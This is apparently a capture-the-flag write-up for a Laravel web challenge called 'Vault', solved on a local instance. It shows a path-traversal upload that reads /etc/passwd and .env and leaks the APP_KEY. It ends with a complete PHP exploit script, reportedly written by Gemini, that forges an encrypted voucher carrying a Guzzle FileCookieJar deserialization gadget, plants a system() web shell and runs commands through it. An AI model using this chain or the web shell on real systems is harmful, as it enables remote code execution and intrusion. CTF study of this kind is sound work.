300 lines
8.7 KiB
Markdown
300 lines
8.7 KiB
Markdown
# Vault - web
|
|
|
|
## entrypoint.sh
|
|
|
|
|
|
```shell
|
|
...
|
|
mv /tmp/flag.txt /$(openssl rand -hex 12)-flag.txt
|
|
...
|
|
```
|
|
|
|
Flag is (for example) at `/24c6038f70c4bb0774ef6629-flag.txt`
|
|
|
|
|
|
## Compose
|
|
|
|
The challenge code is completely provided, so one can run their own local instance. This enables local customizing and debugging.
|
|
|
|
Instead of docker build, start, stop, change code, rebuild, ... just add a compose file.
|
|
This example assumes to be one directory level above the provided challenge files:
|
|
|
|
```yaml
|
|
services:
|
|
vault:
|
|
build:
|
|
context: ./challenge
|
|
dockerfile: Dockerfile
|
|
ports:
|
|
- "9090:80"
|
|
container_name: vault
|
|
restart: unless-stopped
|
|
```
|
|
|
|
## LFI
|
|
|
|
|
|
In `/home/uwe/ctf/tamu/vault/challenge/src/app/Http/Controllers/AccountController.php` there is a controller for the account that accepts an image upload.
|
|
|
|
```php=69
|
|
$name = $_FILES['avatar']['full_path'];
|
|
$path = "/var/www/storage/app/public/avatars/$name";
|
|
$request->file('avatar')->storeAs('avatars', basename($name), 'public');
|
|
|
|
$user->avatar = $path;
|
|
$user->save();
|
|
```
|
|
|
|
|
|
```php=69
|
|
$name = $_FILES['avatar']['full_path'];
|
|
```
|
|
|
|
is completely user supplied.
|
|
https://www.php.net/manual/en/reserved.variables.files.php
|
|
|
|
The content of `$name` (`$_FILES['avatar']['full_path']`) needs to be sanitized.
|
|
|
|
```php=70
|
|
$path = "/var/www/storage/app/public/avatars/$name";
|
|
```
|
|
No sanitizing here.
|
|
|
|
|
|
```php=71
|
|
$request->file('avatar')->storeAs('avatars', basename($name), 'public');
|
|
```
|
|
|
|
The location where the file will be saved is sanitized with `basename()`, so that the upload is constrained to the desired folder.
|
|
|
|
|
|
```php=73
|
|
$user->avatar = $path;
|
|
$user->save();
|
|
```
|
|
|
|
The user avatar gets modified, but the path to the avatar file is not sanitized and stored as is in the database.
|
|
|
|
|
|
So when uploading a file named `../../../../../../../../../../../../../../etc/passwd`, the script would create the file `etc/passwd` (even handling the sub folder) within the legitimate upload directory, but in the database it will store the user supplied file name, including the manipulated location with the path traversal.
|
|
|
|
When displaying the avatar via http://localhost:9090/avatar, the system will load the file at the stored location, including the path traversal.
|
|
|
|
|
|
Sadly there is no GUI for the avatar upload.
|
|
Instead of messing around with hand made http POST request, handling xsrf and all that stuff, just let Copilot extend the form for the POST request in `challenge/src/resources/views/account.blade.php` on our local challenge instance:
|
|
|
|
```php-template=26
|
|
<div class="content-box" style="margin-bottom: 1rem;">
|
|
<h2>Update Avatar</h2>
|
|
<form method="post" action="/account/avatar" enctype="multipart/form-data">
|
|
@csrf
|
|
<label for="avatar">Avatar Image</label>
|
|
<input id="avatar" name="avatar" type="file" accept="image/*">
|
|
<input class="submit" type="submit" value="Upload Avatar">
|
|
</form>
|
|
|
|
@if (session('avatar_error'))
|
|
<div class="errors">
|
|
<li>{{ session('avatar_error') }}</li>
|
|
</div>
|
|
@endif
|
|
</div>
|
|
```
|
|
|
|
0. Rebuild the challenge
|
|
1. upload a legitimate image file, sniff the http request
|
|
2. manipulate and resend http request to change the full_path name
|
|
|
|
```http
|
|
Content-Disposition: form-data; name="avatar"; filename="../../../../../../../../../../../../../../etc/passwd"
|
|
```
|
|
|
|
3. read `/etc/passwd` from http://localhost:9090/avatar
|
|
|
|
|
|
Further things that might be interesting:
|
|
- php Application
|
|
- Database
|
|
- php sessions
|
|
- log files?
|
|
- ...?
|
|
- system
|
|
- environment variables?
|
|
|
|
|
|
`/var/www/.env` contains
|
|
|
|
```
|
|
APP_KEY=base64:Ubbqb57C6290L7p/iugXBtSJEenMhVIHORuB6qmSKgI=
|
|
```
|
|
|
|
-> this should allow for creation and signing of things?
|
|
- Voucher
|
|
- Cookies
|
|
- Sessions
|
|
- ???
|
|
|
|
Probably even leading to insecure deserialisation??
|
|
|
|
|
|
Even if the cookie signing itself should not be vulnerable,
|
|
there is some custom decryption logic for the vouchers that might be vulnerable.
|
|
|
|
`/home/uwe/ctf/tamu/vault/challenge/src/app/Http/Controllers/VouchersController.php`
|
|
|
|
```php=37
|
|
$voucher = encrypt([
|
|
'amount' => $amount,
|
|
'created_by' => $user->uuid,
|
|
'created_at' => Carbon::now()
|
|
]);
|
|
```
|
|
|
|
```php=53
|
|
$voucher = decrypt($data['voucher']);
|
|
```
|
|
|
|
|
|
https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/laravel.html#app_key--encryption-internals-laravel-56
|
|
|
|
> encrypt($value, $serialize=true) will serialize() the plaintext by default, whereas decrypt($payload, $unserialize=true) will automatically unserialize() the decrypted value. Therefore any attacker that knows the 32-byte secret APP_KEY can craft an encrypted PHP serialized object and gain RCE via magic methods (__wakeup, __destruct, …).
|
|
|
|
The `VouchersController` does not use `$serialize=true`, will this work anyway?
|
|
|
|
> [...] a user able to send data to a decrypt function and in possession of the application secret key will be able to gain remote command execution on a Laravel application.
|
|
- [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
|
|
|
|
It looks like the automated solution [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) with [phpggc](https://github.com/ambionics/phpggc) would help against default configs in laravel itself (cookies, ...) but not against this custom implementation?
|
|
|
|
Also had severa trouble with the tool, probably user error...
|
|
|
|
Guzzle is also available, maybe matching.
|
|
|
|
```
|
|
'cipher' => 'AES-256-CBC',
|
|
```
|
|
|
|
|
|
After some discussion with copilot,
|
|
it explained that there is need for a __descruct() call in combination with some other neccessary.
|
|
|
|
There is a guzzle CookieJar Class, that fits!
|
|
|
|
Copilot got tired (whatever problem, idk), so gemini created this script,
|
|
that 1 MINUTE AFTER CTF END worked and has written the result of `ls /` into `/tmp/ls.txt`...
|
|
|
|
But ctf was already over :(
|
|
|
|
|
|
```php
|
|
<?php
|
|
|
|
require __DIR__ . '/vendor/autoload.php';
|
|
|
|
use GuzzleHttp\Client;
|
|
use GuzzleHttp\Cookie\CookieJar;
|
|
use GuzzleHttp\Cookie\SetCookie;
|
|
use GuzzleHttp\Cookie\FileCookieJar;
|
|
|
|
$baseUri = 'http://localhost:9090';
|
|
|
|
// The key used in VouchersController::redeem matches the APP_KEY in .env
|
|
$key = base64_decode('Ubbqb57C6290L7p/iugXBtSJEenMhVIHORuB6qmSKgI=');
|
|
|
|
// The payload to execute
|
|
// Avoiding quotes so JSON encoding doesn't break PHP syntax with backslashes
|
|
$payloadStr = '<?php system($_GET[1]); ?>';
|
|
|
|
$cookie = new SetCookie([
|
|
'Name' => 'payload',
|
|
'Value' => $payloadStr,
|
|
'Domain' => 'example.com',
|
|
'Path' => '/',
|
|
'Max-Age' => null,
|
|
'Expires' => null,
|
|
'Secure' => false,
|
|
'Discard' => false,
|
|
'HttpOnly' => false,
|
|
]);
|
|
|
|
// Gadget chain using FileCookieJar
|
|
$filename = '/var/www/public/shell.php';
|
|
$jarPayload = new FileCookieJar($filename, true);
|
|
$jarPayload->setCookie($cookie);
|
|
|
|
$serialized = serialize($jarPayload);
|
|
|
|
$iv = random_bytes(16);
|
|
$encrypted = openssl_encrypt($serialized, 'aes-256-cbc', $key, 0, $iv);
|
|
|
|
$payloadArr = [
|
|
'iv' => base64_encode($iv),
|
|
'value' => $encrypted,
|
|
'tag' => base64_encode('')
|
|
];
|
|
|
|
$voucher = base64_encode(json_encode($payloadArr));
|
|
echo "[+] Generated voucher payload.\n";
|
|
|
|
$jar = new CookieJar();
|
|
$client = new Client([
|
|
'base_uri' => $baseUri,
|
|
'cookies' => $jar,
|
|
'http_errors' => false
|
|
]);
|
|
|
|
echo "[+] Fetching CSRF token...\n";
|
|
$res = $client->get('/register');
|
|
$html = (string) $res->getBody();
|
|
preg_match('/<input type="hidden" name="_token" value="([^"]+)"/', $html, $matches);
|
|
$csrfToken = $matches[1] ?? '';
|
|
|
|
$username = 'hacker' . rand(10000, 99999);
|
|
$password = 'password123';
|
|
|
|
echo "[+] Registering user $username...\n";
|
|
$res = $client->post('/register', [
|
|
'form_params' => [
|
|
'_token' => $csrfToken,
|
|
'username' => $username,
|
|
'password' => $password,
|
|
'password2' => $password
|
|
]
|
|
]);
|
|
|
|
echo "[+] Logging in...\n";
|
|
$res = $client->post('/login', [
|
|
'form_params' => [
|
|
'_token' => $csrfToken,
|
|
'username' => $username,
|
|
'password' => $password
|
|
]
|
|
]);
|
|
|
|
echo "[+] Fetching new CSRF token for voucher redemption...\n";
|
|
$res = $client->get('/vouchers');
|
|
$html = (string) $res->getBody();
|
|
preg_match('/<input type="hidden" name="_token" value="([^"]+)"/', $html, $matches);
|
|
$csrfToken = $matches[1] ?? '';
|
|
|
|
echo "[+] Redeeming malicious voucher...\n";
|
|
$res = $client->post('/vouchers/redeem', [
|
|
'form_params' => [
|
|
'_token' => $csrfToken,
|
|
'voucher' => $voucher
|
|
]
|
|
]);
|
|
echo "[+] Status from redeem: " . $res->getStatusCode() . "\n";
|
|
|
|
echo "[+] Triggering payload at /shell.php...\n";
|
|
$res = $client->get('/shell.php', [
|
|
'query' => [
|
|
'1' => 'ls / > /tmp/ls.txt'
|
|
]
|
|
]);
|
|
|
|
echo "[+] Trigger response: " . $res->getStatusCode() . "\n";
|
|
echo "[+] Exploit finished. Check the server or container for /tmp/ls.txt.\n";
|
|
|
|
```
|